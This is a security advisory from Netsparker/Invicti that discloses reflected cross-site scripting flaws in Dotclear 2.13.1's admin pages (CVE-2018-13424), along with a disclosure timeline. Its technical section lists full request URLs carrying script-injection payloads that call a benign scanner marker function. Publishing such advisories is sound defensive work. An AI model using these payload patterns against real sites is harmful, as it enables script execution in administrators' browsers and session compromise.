Multiple Reflected Cross-site Scripting Vulnerabilities in Dotclear 2.13.1

Information

Advisory by Netsparker (now Invicti)
Name: Multiple XSS in Dotclear 2.13.1
Affected Software: Dotclear
Affected Versions: 2.13.1
Homepage: https://dotclear.org
Vulnerability: Multiple Reflected XSS
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13424
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-006

Technical Details

URL: /admin/blogs.php?q=&nb=30&status=1&sortby=blog_upddt&order=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x007BE4)%3C/scRipt%3E
Parameter Name: order
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x007BE4)</scRipt>

URL: /admin/popup_posts.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x006B38)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x006B38)</scRipt>

URL: /admin/blogs.php?status=&sortby=blog_upddt&order=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x010259)%3C/scRipt%3E&page=1&nb=30&blogs%5B0%5D=default
Parameter Name: order
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x010259)</scRipt>

URL: /admin/popup_posts.php?q=&plugin_id=&type=&page=2&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x0072FD)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0072FD)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

28 March 2018- First Contact
13th August 2018 – Vendor Fixed
29th August 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.